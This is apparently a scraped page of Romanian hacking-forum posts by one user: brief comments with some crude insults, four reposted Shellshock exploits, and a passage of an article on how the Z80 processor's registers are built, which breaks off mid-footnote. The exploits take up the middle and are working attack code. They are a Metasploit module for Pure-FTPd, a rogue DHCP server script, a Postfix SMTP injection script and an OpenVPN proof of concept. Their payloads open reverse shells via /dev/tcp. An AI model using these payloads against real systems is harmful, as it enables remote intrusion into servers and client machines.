Nytro

Audit != Pentest Audit: Audit - Wikipedia (zis si AUDIT FINANCIAR) Pentest: Penetration test - Wikipedia, the free encyclopedia Nu mai faceti confuzie!

Unele intrebari sunt penibile. Rau de tot. Altele au raspunsuri gresite.

Vezi aici: Firefox password cracker - clean code - Source Codes - rohitab.com - Forums Daca ai intrebari, spune.

SDFSDFSDF - Cod invalid ' or 1=1-- - Badge printed

Mergeti la IMworld la G-Data. Sunt cateva gagici in rosu, o sa va placa!

I?i scriu despre posibilitatea unei frumoase oportunitati de cariera al?turi de X Romania, fiind furnizor de top in outsourcing de servicii IT si software high-end pentru telecomunica?ii, industria financiar?, ?i de automobile. Firma e mare. Bucuresti. Daca e cineva interesat sa imi dea PM. Skills Required: - Experience with C++ programming on Linux/Unix environments - Experience in embedded software development, preferably for network equipments - Experience with cross compilers, debuggers, etc. - Good understanding of Ethernet and IP networking - Familiarity with SVN(or similar) and GNU tools - Knowledge of RTOS application development (VxWorks / NetBSD / Linux) - Understanding multi-process system software architectures - Experience with one or more of the following: POSIX threads, SNMP, XML - Shell Scripting - Perl, Python, PHP, HTML

Ar trebui sa mearga si fara, pe SMTP, fara ESMTP (Extended SMTP). Nu am citit RFC-ul, dar serverele "compatibile" ar trebui sa accepte si lipsa unui HELO (din SMTP) deoarece nu pare sa fie obligatoriu. Edit: Pare obligatoriu: "In any event, a client MUST issue HELO or EHLO before starting a mail transaction." Sursa: RFC SMTP

"Romania is known as a hub for cyber crime; more than $1 billion stolen in the US by Romanian hackers in 2012, according to the American ambassador in Bucharest." Baetii ne-au crescut PIB-ul. Deci mesajul pentru americani este: "Sa va luam in pula!".

"programmers and others involved in software development, including graphic designers, interface designers and project managers, collaborate intensively on software projects" Ce legatura are termenul "hack" cu cacaturile de acolo? "Hackathon" cica, nu puteau sa ii zica "programathon"... "We will provide you access to the event, food & beverage, HackTM T-shirt & swag, the chance to win awesome prizes & lots of fun!" Luati muie pentru un tricou si o ciorba. Sclavilor.

[h=1]Pure-FTPd External Authentication Bash Environment Variable Code Injection[/h] ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Ftp include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Pure-FTPd External Authentication Bash Environment Variable Code Injection', 'Description' => %q( This module exploits the code injection flaw known as shellshock which leverages specially crafted environment variables in Bash. This exploit specifically targets Pure-FTPd when configured to use an external program for authentication. ), 'Author' => [ 'Stephane Chazelas', # Vulnerability discovery 'Frank Denis', # Discovery of Pure-FTPd attack vector 'Spencer McIntyre' # Metasploit module ], 'References' => [ ['CVE', '2014-6271'], ['OSVDB', '112004'], ['EDB', '34765'], ['URL', 'https://gist.github.com/jedisct1/88c62ee34e6fa92c31dc'] ], 'Payload' => { 'DisableNops' => true, 'Space' => 2048 }, 'Targets' => [ [ 'Linux x86', { 'Platform' => 'linux', 'Arch' => ARCH_X86, 'CmdStagerFlavor' => :printf } ], [ 'Linux x86_64', { 'Platform' => 'linux', 'Arch' => ARCH_X86_64, 'CmdStagerFlavor' => :printf } ] ], 'DefaultOptions' => { 'PrependFork' => true }, 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 24 2014')) register_options( [ Opt::RPORT(21), OptString.new('RPATH', [true, 'Target PATH for binaries used by the CmdStager', '/bin']) ], self.class) deregister_options('FTPUSER', 'FTPPASS') end def check # this check method tries to use the vulnerability to bypass the login username = rand_text_alphanumeric(rand(20) + 1) random_id = (rand(100) + 1) command = "echo auth_ok:1; echo uid:#{random_id}; echo gid:#{random_id}; echo dir:/tmp; echo end" if send_command(username, command) =~ /^2\d\d ok./i return CheckCode::Safe if banner !~ /pure-ftpd/i disconnect command = "echo auth_ok:0; echo end" if send_command(username, command) =~ /^5\d\d login authentication failed/i return CheckCode::Vulnerable end end disconnect CheckCode::Safe end def execute_command(cmd, _opts) cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod") username = rand_text_alphanumeric(rand(20) + 1) send_command(username, cmd) end def exploit # Cannot use generic/shell_reverse_tcp inside an elf # Checking before proceeds if generate_payload_exe.blank? fail_with(Failure::BadConfig, "#{peer} - Failed to store payload inside executable, please select a native payload") end execute_cmdstager(linemax: 500) handler end def send_command(username, cmd) cmd = "() { :;}; #{datastore['RPATH']}/sh -c \"#{cmd}\"" connect send_user(username) password_result = send_pass(cmd) disconnect password_result end end Sursa: http://www.exploit-db.com/exploits/34862/

[h=1]GNU bash 4.3.11 Environment Variable dhclient Exploit[/h] #!/usr/bin/python# Exploit Title: dhclient shellshocker # Google Dork: n/a # Date: 10/1/14 # Exploit Author: @0x00string # Vendor Homepage: gnu.org # Software Link: http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz # Version: 4.3.11 # Tested on: Ubuntu 14.04.1 # CVE : CVE-2014-6277,CVE-2014-6278,CVE-2014-7169,CVE-2014-7186,CVE-2014-7187 # ______ ______ ______ _ # / __ | / __ |/ __ | _ (_) #| | //| |_ _| | //| | | //| | ___| |_ ____ _ ____ ____ ___ #| |// | ( \ / ) |// | | |// | |/___) _) / ___) | _ \ / _ |/___) #| /__| |) X (| /__| | /__| |___ | |__| | | | | | ( ( | |___ | # \_____/(_/ \_)\_____/ \_____/(___/ \___)_| |_|_| |_|\_|| (___/ # (_____| # _ _ _ _ # | | | | (_) _ # _ | | | _ ____| |_ ____ ____ | |_ # / || | || \ / ___) | |/ _ ) _ \| _) #( (_| | | | ( (___| | ( (/ /| | | | |__ # \____|_| |_|\____)_|_|\____)_| |_|\___) # # _ _ _ _ _ # | | | | | | | | | # ___| | _ ____| | | ___| | _ ___ ____| | _ ____ ____ # /___) || \ / _ ) | |/___) || \ / _ \ / ___) | / ) _ )/ ___) #|___ | | | ( (/ /| | |___ | | | | |_| ( (___| |< ( (/ /| | #(___/|_| |_|\____)_|_(___/|_| |_|\___/ \____)_| \_)____)_| # this buddy listens for clients performing a DISCOVER, a later version will exploit periodic REQUESTs, which can sometimes be prompted by causing IP conflicts # once a broadcast DISCOVER packet has been detected, the XID, MAC and requested IP are pulled from the pack and a corresponding OFFER and ACK are generated and pushed out # The client is expected to reject the offer in preference of their known DHCP server, but will still process the packet, triggering the vulnerability. # can use option 114, 56 or 61, though is hardcoded to use 114 as this is merely a quick and dirty example. import socket, struct def HexToByte( hexStr ): b = [] h = ''.join( h.split(" ") ) for i in range(0, len(h), 2): b.append( chr( int (h[i:i+2], 16 ) ) ) return ''.join( b ) rport = 68 lport = 67 bsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) bsock.bind(("<broadcast>", lport)) while True: OP = "72" # 56, Message - RFC 1533,2132. 61, Client-identifier - RFC 1533,2132,4361 or 114, URL - RFC 3679 are currently known to work, here we use 114 URL = "() { :;}; bash -i >& /dev/tcp/10.0.0.1/1337 0>&1".encode("hex") URLLEN = chr(len(URL) / 2).encode("hex") END = "03040a000001ff" broadcast_get, (bcrhost, rport) = bsock.recvfrom(2048) hexip = broadcast_get[245:249] rhost = str(ord(hexip[0])) + "." + str(ord(hexip[1])) + "." + str(ord(hexip[2])) + "." + str(ord(hexip[3])) XID = broadcast_get[4:8].encode("hex") chaddr = broadcast_get[29:34].encode("hex") print "[+]\tgot broadcast with XID " + XID + " requesting IP " + rhost + "\n" OFFER = "02010600" + XID + "00000000000000000a0000430a0000010000000000" + chaddr + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006382536335010236040a000001330400000e103a04000007083b0400000c4e0104ffffff001c040a0000ff06040a0000010f034c4f4c0c076578616d706c65" + OP + URLLEN + URL + END OFFER_BYTES = HexToByte(OFFER) ACK = "02010600" + XID + "00000000000000000a0000430a0000010000000000" + chaddr + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006382536335010536040a000001330400000e103a04000007083b0400000c4e0104ffffff001c040a0000ff06040a0000010f034c4f4c0c076578616d706c65" + OP + URLLEN + URL + END ACK_BYTES = HexToByte(ACK) print "[+]\tsending evil offer\n" sock.sendto(OFFER_BYTES, (rhost, rport)) broadcast_get2 = bsock.recvfrom(2048) print "[+]\tassuming request was received, sending ACK\n" sock.sendto(ACK_BYTES, (rhost, rport)) Sursa: http://www.exploit-db.com/exploits/34860/

[h=1]Postfix SMTP - Shellshock Exploit[/h] #!/bin/python# Exploit Title: Shellshock SMTP Exploit # Date: 10/3/2014 # Exploit Author: fattymcwopr # Vendor Homepage: gnu.org # Software Link: http://ftp.gnu.org/gnu/bash/ # Version: 4.2.x < 4.2.48 # Tested on: Debian 7 (postfix smtp server w/procmail) # CVE : 2014-6271 from socket import * import sys def usage(): print "shellshock_smtp.py <target> <command>" argc = len(sys.argv) if(argc < 3 or argc > 3): usage() sys.exit(0) rport = 25 rhost = sys.argv[1] cmd = sys.argv[2] headers = ([ "To", "References", "Cc", "Bcc", "From", "Subject", "Date", "Message-ID", "Comments", "Keywords", "Resent-Date", "Resent-From", "Resent-Sender" ]) s = socket(AF_INET, SOCK_STREAM) s.connect((rhost, rport)) # banner grab s.recv(2048*4) def netFormat(d): d += "\n" return d.encode('hex').decode('hex') data = netFormat("mail from:<>") s.send(data) s.recv(2048*4) data = netFormat("rcpt to:<nobody>") s.send(data) s.recv(2048*4) data = netFormat("data") s.send(data) s.recv(2048*4) data = '' for h in headers: data += netFormat(h + ":() { :; };" + cmd) data += netFormat(cmd) # <CR><LF>.<CR><LF> data += "0d0a2e0d0a".decode('hex') s.send(data) s.recv(2048*4) data = netFormat("quit") s.send(data) s.recv(2048*4) Sursa: http://www.exploit-db.com/exploits/34896/

[h=1]OpenVPN 2.2.29 - ShellShock Exploit[/h] # Exploit Title: ShellShock OpenVPN Exploit # Date: Fri Oct 3 15:48:08 EDT 2014 # Exploit Author: hobbily AKA @fj33r # Version: 2.2.29 # Tested on: Debian Linux # CVE : CVE-2014-6271 #Probably should of submitted this the day I tweeted it. ### server.conf port 1194 proto udp dev tun client-cert-not-required auth-user-pass-verify /etc/openvpn/user.sh via-env tmp-dir "/etc/openvpn/tmp" ca ca.crt cert testing.crt key testing.key # This file should be kept secret dh dh1024.pem server 10.8.0.0 255.255.255.0 keepalive 10 120 comp-lzo user nobody group nogroup persist-key persist-tun client-cert-not-required plugin /usr/lib/openvpn/openvpn-auth-pam.so login script-security 3 status openvpn-status.log verb 3 ### user.sh #!/bin/bash echo "$username" echo "$password" ### start server openvpn server.con ### terminal 1 nc -lp 4444 ### terminal 2 sudo openvpn --client --remote 10.10.0.52 --auth-user-pass --dev tun --ca ca.cert --auth-nocache --comp-lzo ### username && password were both shellshocked just incase user:() { :;};/bin/bash -i >& /dev/tcp/10.10.0.56/4444 0>&1 & pass:() { :;};/bin/bash -i >& /dev/tcp/10.10.0.56/4444 0>&1 & ### log Mon Sep 29 20:56:56 2014 NOTE: the current --script-security setting may allow this configuration to call user-defined scripts Mon Sep 29 20:56:56 2014 PLUGIN_INIT: POST /usr/lib/openvpn/openvpn-auth-pam.so '[/usr/lib/openvpn/openvpn-auth-pam.so] [login]' intercepted=PLUGIN_AUTH_USER_PASS_VERIFY Mon Sep 29 20:56:56 2014 Diffie-Hellman initialized with 1024 bit key Mon Sep 29 20:56:56 2014 WARNING: POTENTIALLY DANGEROUS OPTION --client-cert-not-required may accept clients which do not present a certificate Mon Sep 29 20:56:56 2014 TLS-Auth MTU parms [ L:1542 D:138 EF:38 EB:0 ET:0 EL:0 ] Mon Sep 29 20:56:56 2014 Socket Buffers: R=[163840->131072] S=[163840->131072] Mon Sep 29 20:56:56 2014 ROUTE default_gateway=10.10.0.1 Mon Sep 29 20:56:56 2014 TUN/TAP device tun0 opened Mon Sep 29 20:56:56 2014 TUN/TAP TX queue length set to 100 Mon Sep 29 20:56:56 2014 do_ifconfig, tt->ipv6=0, tt->did_ifconfig_ipv6_setup=0 Mon Sep 29 20:56:56 2014 /sbin/ifconfig tun0 10.8.0.1 pointopoint 10.8.0.2 mtu 1500 Mon Sep 29 20:56:56 2014 /sbin/route add -net 10.8.0.0 netmask 255.255.255.0 gw 10.8.0.2 Mon Sep 29 20:56:56 2014 Data Channel MTU parms [ L:1542 D:1450 EF:42 EB:135 ET:0 EL:0 AF:3/1 ] Mon Sep 29 20:56:56 2014 GID set to nogroup Mon Sep 29 20:56:56 2014 UID set to nobody Mon Sep 29 20:56:56 2014 UDPv4 link local (bound): [undef] Mon Sep 29 20:56:56 2014 UDPv4 link remote: [undef] Mon Sep 29 20:56:56 2014 MULTI: multi_init called, r=256 v=256 Mon Sep 29 20:56:56 2014 IFCONFIG POOL: base=10.8.0.4 size=62, ipv6=0 Mon Sep 29 20:56:56 2014 Initialization Sequence Completed Mon Sep 29 20:57:54 2014 MULTI: multi_create_instance called Mon Sep 29 20:57:54 2014 10.10.0.56:1194 Re-using SSL/TLS context Mon Sep 29 20:57:54 2014 10.10.0.56:1194 LZO compression initialized Mon Sep 29 20:57:54 2014 10.10.0.56:1194 Control Channel MTU parms [ L:1542 D:138 EF:38 EB:0 ET:0 EL:0 ] Mon Sep 29 20:57:54 2014 10.10.0.56:1194 Data Channel MTU parms [ L:1542 D:1450 EF:42 EB:135 ET:0 EL:0 AF:3/1 ] Mon Sep 29 20:57:54 2014 10.10.0.56:1194 Local Options hash (VER=V4): '530fdded' Mon Sep 29 20:57:54 2014 10.10.0.56:1194 Expected Remote Options hash (VER=V4): '41690919' Mon Sep 29 20:57:54 2014 10.10.0.56:1194 TLS: Initial packet from [AF_INET]10.10.0.56:1194, sid=644ea55a 5f832b02 AUTH-PAM: BACKGROUND: user '() { :;};/bin/bash -i >& /dev/tcp/10.10.0.56/4444 0>&1 &' failed to authenticate: Error in service module Mon Sep 29 20:57:57 2014 10.10.0.56:1194 PLUGIN_CALL: POST /usr/lib/openvpn/openvpn-auth-pam.so/PLUGIN_AUTH_USER_PASS_VERIFY status=1 Mon Sep 29 20:57:57 2014 10.10.0.56:1194 PLUGIN_CALL: plugin function PLUGIN_AUTH_USER_PASS_VERIFY failed with status 1: /usr/lib/openvpn/openvpn-auth-pam.so _________/bin/bash_-i____/dev/tcp/10.10.0.56/4444_0__1__ Mon Sep 29 20:57:57 2014 10.10.0.56:1194 TLS Auth Error: Auth Username/Password verification failed for peer Mon Sep 29 20:57:57 2014 10.10.0.56:1194 Control Channel: TLSv1, cipher TLSv1/SSLv3 DHE-RSA-AES256-SHA Mon Sep 29 20:57:57 2014 10.10.0.56:1194 [] Peer Connection Initiated with [AF_INET]10.10.0.56:1194 Mon Sep 29 20:57:59 2014 10.10.0.56:1194 PUSH: Received control message: 'PUSH_REQUEST' Mon Sep 29 20:57:59 2014 10.10.0.56:1194 Delayed exit in 5 seconds Mon Sep 29 20:57:59 2014 10.10.0.56:1194 SENT CONTROL [UNDEF]: 'AUTH_FAILED' (status=1) Mon Sep 29 20:58:01 2014 read UDPv4 [ECONNREFUSED]: Connection refused (code=111) Mon Sep 29 20:58:04 2014 10.10.0.56:1194 SIGTERM[soft,delayed-exit] received, client-instance exiting ### nc listener nobody@debian:/etc/openvpn$ id id uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) #shoutouts to Fredrik Str?mberg for the post he made on ycombinator Sursa: http://www.exploit-db.com/exploits/34879/

Down to the silicon: how the Z80's registers are implemented The 8-bit Z80 microprocessor is famed for use in many early personal computers such the Osborne 1, TRS-80, and Sinclair ZX Spectrum. The Z80 has an innovative design for its internal registers, with two sets of general-purpose registers. The diagram below shows a highly-magnified photo of the Z80 chip, from the Visual 6502 team. Zooming in on the register file at the right, the transistors that make up the registers are visible (with difficulty). Each register is in a column, with the low bit on top and high bit on the bottom. This article explains the details of the Z80's register structure: its architecture, how it works, and exactly how it is implemented, based on my reverse-engineering of the chip. The die of the Z80 microprocessor, zooming in on the register file. Each register is stored vertically, with bit 0 and the top and bit 15 at the bottom. There are two sets of AF/BC/DE/HL registers. At the right, drivers connect the registers to the data buses. At the top, circuitry selects a register. The Z80's architecture is often described with the diagram below, which shows the programmer's model of the chip.[1][2] But as we will see, the Z80's actual register and bus organization differs from this diagram in many ways. For instance, the data bus on the real chip has multiple segments. The diagram shows a separate incrementer for the refresh register (IR), an adder for IX and IY offsets, and a W'Z' register but those don't exist on the real chip. The Z80 shows that the physical implementation of a chip may be very different from how it appears logically. Programmer's model of Z80 architecture from Wikipedia. Diagram by Appaloosa CC BY-SA 3.0. Original by Rodnay Zaks. Register overview and layout The diagram below shows how the Z80's registers are physically arranged on the chip, matching the die photo above. The register file consists of 14 pairs of 8-bit registers. In many cases, a pair of 8-bit registers is treated as a single 16-bit register. The bits are ordered from 0 at the top to 15 at the bottom, so the low-order byte is on the top and the high-order byte is on the bottom. At the right of the register file are the 8-bit accumulator (A) and 8-bit flag register (F). The accumulator holds the result of arithmetic and logic operations, so it is a very important register. The flag register holds condition flags, for instance indicating a zero value, negative value, overflow value or other conditions. Note that there are two A registers and two F registers, along with two of BC, DE, and HL. The Z80 is described as having a main register set (AF, BC, DE, and HL) and an alternate register set (A'F', B'C', D'E', and H'L'), and this is how the architecture diagram earlier is drawn. It turns out, though, that this is not how the Z80 is actually implemented. There isn't a main register set and an alternate register set. Instead, there are two of each register and either one can be the main or alternate. This will be explained in more detail below. Structure of the Z-80's register file as implemented on the chip. The address is 16 bits wide, while the data buses are 8 bits wide. Gray lines show switches between bus segments. To the left of the AF registers are the two general-purpose BC registers. These can be used as 8-bit registers (B or C), or a 16-bit register (BC). Next to them are the similar DE and HL registers. The HL register is often used to reference a location in memory; H holds the high byte of the address, and L holds the low byte. This register structure is based on the earlier 8080 microprocessor. (As will be explained later, DE and HL can swap roles, so these registers should really be labeled H/D and L/E.) Next to the left are the 16-bit IX and IY index registers. These are used to point to the start of a region in memory, such as a table of data. The 16-bit stack pointer SP is to the left of the index registers. The stack pointer indicates the top of the stack in memory. Data is pushed and popped from the stack, for instance in subroutine calls. To the left of the stack pointer are the 8-bit W and Z registers. As will be discussed below, these are internal registers used for temporary storage and are invisible to the programmer. Separated from the previous registers is the special-purpose memory refresh register R, which simplifies the hardware when dynamic memory is used.[3] The interrupt page address register I is below R, and is used for interrupt handling. (It provides the high-order byte of an interrupt handler address.) Finally, at the left is the 16-bit PC (Program Counter), which steps through memory to fetch instructions. Since it is 16 bits, the Z80 can address 64K of memory. Its position next to the incrementer/decrementer is important and will be discussed below. The Z80's register buses An important part of the Z80's architecture is how the registers are connected to other parts of the system by various buses. The Z80 is described as having a 16-bit address bus and an 8-bit data bus, but the implementation is more complicated.[3][4] The point of this complexity is to permit multiple register activities as the same time, so the chip can execute faster. The PC and IR registers are separated from the rest of the registers. As the diagram above shows, these registers are connected to the other registers through a 16-bit bus (thick black line). However, this bus can be connected or disconnected as needed (by pass transistors indicated by the vertical gray line). When disconnected, the PC and R registers can be updated while registers on the right are in use. The internal register bus connects the PC and IR registers to an incrementer/decrementer/latch circuit. It has multiple uses, but the main purpose is to step the PC from one instruction to the next, and to increment the R register to refresh memory. The resulting address goes to the address pins via the address bus (magenta). I describe the incrementer/decrementer/latch in detail here. At the right, separate 8-bit data buses connect to the low-order and high-order registers. These two buses can be connected or disconnected as needed. The lower bus (orange) provides access to the ALU (arithmetic logic unit). The upper bus (green) connects to another data bus (red) that accesses the data pins and instruction decoder. Photo of the Z80 die. The address bus is indicated in purple. The data bus segments are in red, green, and orange. Specifying registers in the opcodes The Z80 uses 8-bit opcodes to specify its instructions, and these instructions are carefully designed to efficiently specify which registers to use. Register instructions normally use three bits to specify the register used: 000=B, 001=C, 010=D, 011=E, 100=H, 101=L, 110=indirect through HL, 111=A.[5] For instance, the ADD instructions have the 8-bit binary values 10000rrr, where the rrr bits specify the register to use as above. Note that in this pattern the two high-order bits specify the register pair, while the low order bit specifies which half of the pair to use; for example 00x is BC, 000 is B, and 001 is C. For instructions operating on a register pair (such as 16-bit increment INC), the opcode uses just the two bits to specify the pair. By using this structure for opcodes, the instruction decoding logic is simplified since the same circuitry can be reused to select a register or register pair for many different instructions. Instruction decode circuitry located above the register file uses the two bits to select the register pair and then uses the third bit to pick the lower or upper half of the register file. The register selection bits can be in bits 2-0 of the instruction, for example AND; in bits 5-3 of the instruction, for example DEC (decrement); or in both positions, for example register-to-register LD.[6] To handle this, a multiplexer selects the appropriate group of bits and feeds them into the register select logic. Thus, the same circuit efficiently handles register bits in either position. By designing the instruction set in this way, the Z80 combines the ability to use a large register set with a compact hardware implementation. Swapping registers through register renaming The Z80 has several instructions to swap registers or register sets. The EX DE, HL instruction exchanges the DE and HL registers. The EX AF, AF' instruction exchanges the AF and AF' registers. The EXX instruction exchanges the BC, DE, and HL registers with the BC', DE', and HL' registers. These instructions complete very quickly, which raises the question of how multiple 16-bit register values can move around the chip at once. It turns out that these instructions don't move anything. They just toggle a bit that renames the appropriate registers. For example, consider exchanging the DE and HL registers. If the DE/HL bit is set, an instruction acting on DE uses the first register and an instruction acting on HL uses the second register. If the bit is cleared, a DE instruction uses the second register and a HL instruction uses the first register. Thus, from the programmer's perspective, it looks like the values in the registers have been swapped, but in fact just the meanings/names/labels of the registers have been swapped. Likewise, a bit selects between AF and AF', and a bit selects between BC, DE, HL and the alternates. In all, there are four registers that can be used for DE or HL; physically there aren't separate DE and HL registers. The hardware to implement register renaming is interesting, using four toggle flip flops.[7] These flip flops are toggled by the appropriate EX and EXX instructions. One flip flop handles AF/AF'. The second flip flop handles BC/DE/HL vs BC'/DE'/HL'. The last two flip flops handle DE vs HL and DE' vs HL'. Note that two flip flops are required since DE and HL can be swapped independently in either register bank. The flags The flags have a dual existence. The flags are stored inside the register file, but at the start of every instruction,[8] they are copied into latches above the ALU. From this location, the flags can be used and modified by the ALU. (For example, add or shift operations use the carry flag.) At the end of an instruction that affects flags, the flags are copied from the latches back to the register file. Most of the flags are generated by the ALU (details here). The circuitry to set and use the carry is complicated, since it is used in different ways by shifts and rotates, as well as arithmetic. Conditional operations are another important use of the flags.[9] The WZ temporary registers The Z80 (like the 8080 and 8085) has a WZ register pair that is used for temporary storage but is invisible to the programmer. The primary use of WZ is to hold an operand from a two or three byte instruction until it can be used.[10] The JP (jump) instruction shows why the WZ registers are necessary. This instruction reads a two-byte address following the opcode and jumps to that address. Since the Z80 only reads one byte at a time, the address bytes must be stored somewhere while being read in, before the jump takes place. (If you read the bytes directly into the program counter, you'd end up jumping to a half-old half-new address.) The WZ register pair is used to hold the target address as it gets read in. The CALL (subroutine call) instruction is similar. Another example is EX (SP), HL which exchanges two bytes on the stack with the HL register. The WZ register pair holds the values at (SP+1) and (SP) temporarily during the exchange. How the registers are implemented in silicon The building block for the registers is a simple circuit to store one bit, consisting of two inverters in a feedback loop. In the diagram below, if the top wire has a 0, the right inverter will output a 1 to the bottom wire. The left inverter will then output a 0 to the top wire, completing the cycle. Thus, the circuit is stable and will "remember" the 0. Likewise, if the top wire is a 1, this will get inverted to a 0 at the bottom wire, and back to a 1 at the top. Thus, this circuit can store either a 0 or a 1, forming a 1-bit memory.[11] In the Z80, two coupled inverters hold a single bit in the register. This circuit is stable in either the 0 or 1 state. How does a value get stored into this inverter pair? Surprisingly, the Z80 just puts stronger signals on the wires, forcing the inverters to take the new values.[12] There's no logic involved, just "might makes right". (In contrast, the 6502 uses an additional transistor in the inverter feedback loop to break the feedback loop when writing a new value.) To support multiple registers, each register bit is connected to bus lines by two pass transistors. These transistors act as switches that turn on to connect one register to the bus. Each register has a separate bus control signal, connecting the register to the bus when needed. Note that there are two bus lines for each bit - the value and its complement. As explained above, to write a new value to the bit, the new value is forced into the inverters. There are 16 pairs of bus lines running horizontally through the register file, one for each bit. Each bit of register storage is connected to the bus by pass transistors, allowing the bit to be read or written. Next, to see how an inverter works, the schematic below shows how an inverter is implemented in the Z80. The Z80 uses NMOS transistors, which can be viewed as simple switches. If a 1 is input to the transistor's gate, the switch closes, connecting ground (0) to the output. If a 0 is input to the gate, the switch opens and the output is pulled high (1) by the resistor. Thus, the output is the opposite of the input.[13] Implementation of an inverter in NMOS. Putting this all together - the two inverters and the pass transistors - yields the following schematic for a single bit in the register file. The layout of the schematic matches the actual silicon where the inverters are positioned to minimize the space they take up. The bus lines and ground run horizontally. The control line to connect a register to the buses runs vertically, along with the 5V power line. Schematic of one bit inside the Z80's register file. The diagram below shows the physical implementation of a register bit in the Z80, superimposed on a photo of the die. It's tricky to understand this, but comparing with the schematic above should help. The silicon is in green, the polysilicon is in red, and the metal lines are in blue. Transistors occur where the polysilicon (red) crosses the silicon (green). The X in a box indicates a contact connecting two layers. Note the large area taken up by the resistors (which are formed from depletion-mode transistors). Additional register bits can be seen in the photo, surrounding the bit illustrated. This diagram shows the layout on silicon of one bit of register storage. Green indicates silicon, red indicates polysilicon, and blue is the metal layer. Zooming out, the picture below shows the upper right part of the register file. Each bit consists of a structure like the one above. Each column is a separate register, with a separate control line, and each row is one of the bits. The columns are in groups of two, with the register control lines between the pairs of columns. Zooming out more, the image at the top of the article shows the full register file and its location in the chip. Thus, you can see how the entire register file is built up from simple transistors. A detail of the Z80 chip, showing part of the register file. Comparison with the 6502 and 8085 While the Z80's register complement is tiny compared to current processors, it has a solid register set by 1976 standards - about twice as many registers as the 8085 and about four times as many registers as the 6502. Because they share the 8080 heritage, many of the 8085's registers are similar to the Z80, but the Z80 adds the IX and IY index registers, as well as the second set of registers. The physical structure of the Z80's register file is similar to the 8085 register file. Both use 6-transistor static latches arranged into a 16-bit wide grid. The 8085, however, uses complex differential sense amplifiers to read the values from the registers. The Z80, by contrast, just uses regular gates. I suspect the 8085's designers saved space by making the register transistors as small as possible, requiring extra circuitry to read the weak values on the bus lines. The 6502, on the other hand, doesn't have a separate register file. Instead, registers are put on the chip where it turns out to be convenient. Since the 6502 has fewer registers, the register circuitry doesn't need to be as optimized and each bit is more complex. The 6502 adds a transistor to each bit so it is clocked, and separate pass transistors for read and write. One consequence is direct register-to-register transfers are possible on the 6502, since the source and destination registers can be distinguished. Instead of a separate incrementer unit, the 6502's program counter is tangled in with the incrementer circuitry. Conclusion By looking at the silicon of the Z80 in detail, we can determine exactly how it works. The Z80's register file has more complexity than you'd expect and the hardware implementation is different from published architecture diagrams. By splitting the register file in two, the Z80 runs faster since registers can be updated in parallel. The Z80 includes a WZ register pair for temporary storage that isn't visible to the programmer. The Z80's register storage has many similarities to the 8085, both in the registers provided and their hardware implementation, but is very different from the 6502. Credits: This couldn't have been done without the Visual 6502 team especially Chris Smith, Ed Spittles, Pavel Zima, Phil Mainwaring, and Julien Oster. All die photos are from the visual 6502 team. Notes and references [1] There are many variants of that architecture diagram; the one above is from Wikipedia. The original source of the common Z80 architecture diagram is the book Programming the Z80 by Rodnay Zaks, page 65 (HTML or PDF). The book is an extremely detailed guide to the Z80, down to the instruction cycles. I don't mean to criticize the architecture diagram by pointing out differences between it and the actual silicon. After all, it is a logic-level diagram intended for use by programmers, not a hardware reference. But it is interesting to see the differences between the programmer's view and the hardware implementation. [2] Zilog's Z80 CPU user manual is a key reference on the instruction set and operation of the Z80, but it doesn't provide any information on the internal architecture. [3] The Z80's memory refresh feature is described in patent 4332008. Figure 15 in the patent shows the segmented data bus used by the Z80, although it is a mirror image of the actual die. [4] I wrote more about the data buses in the Z-80 in Why the Z-80's data pins are scrambled. [5] The bit pattern 110 is an exception to the encoding of registers in instructions, since it refers to a memory location indexed by the HL register pair, rather than a register. Likewise the bit pattern 11x referring to a register pair is also an exception. It can indicate the SP register, for example in 16-bit LD, INC and DEC instructions. [6] The Z80 specifies registers in instruction bits 0-2 and bits 3-5. This maps cleanly onto octal, but not hexadecimal. One consequence is the opcodes are more logical if you arrange them in octal (like this), instead of hexadecimal (like this). Perhaps the designers of the Z80 were thinking in octal and not hex. [7] The toggle flip flops are unlike standard flip flops formed from gates. Instead they use pass transistors; this lets it hold the previous state while toggling to avoid oscillation. Because the pass transistor circuits depend on capacitance holding the values, you have to keep the clock running. This is one reason the clock in the Z80 can't stop for more than a couple microseconds. (The CMOS version is different and the clock can stop arbitrarily long.) From looking at the silicon, it appears that these flip flops required some modifications to work reliably, probably to ensure they toggled exactly once. These flip flops have no reset logic, so it is unpredictable how the registers get assigned on power-up. Since there's no way to tell which register is which, this doesn't matter. The active DE vs HL flip flop swaps the DE and HL register control lines using pass-gate multiplexers. The main vs alternate register set flip flops direct each AF/BC/DE/HL register control line to one of the two registers in the pair. [8] Like many processors of its era, the Z80 starts fetching a new instruction before the previous instruction is finished; this is known as fetch/execute overlap. As a result, the flags are actually written from the latches to the register file three cycles into the next instruction (i.e. T3), and the flags are read from the register file into the latches four cycles into the instruction (i.e. T4). [9] I'll explain briefly how conditional instructions such as jump (JP) work with the flags. Bits 4 and 5 of the opcode select the flag to use (via a multiplexer just to the right of the registers). Bit 3 of the opcode indicates the desired value (clear or set); this bit is XORed with the selected flag's value. The result indicates if the desired condition is satisfied or not, and is fed into the control logic to determine the appropriate action. The JR and DJNZ don't exactly fit the pattern so a couple additional gates adjust their bits to pick the right flags. [10] For more explanation of the WZ registers, see Programming the Z80, pages 87-91. [11] The register storage in the Z80 is called "static" memory, since it will store data as long as the circuit has power. In contrast, your computer uses dynamic memory, which will lose data in milliseconds if the data isn't constantly refreshed. The advantage of dynamic memory is it is much simpler (a transistor and a capacitor), and thus each cell is much smaller. (This is 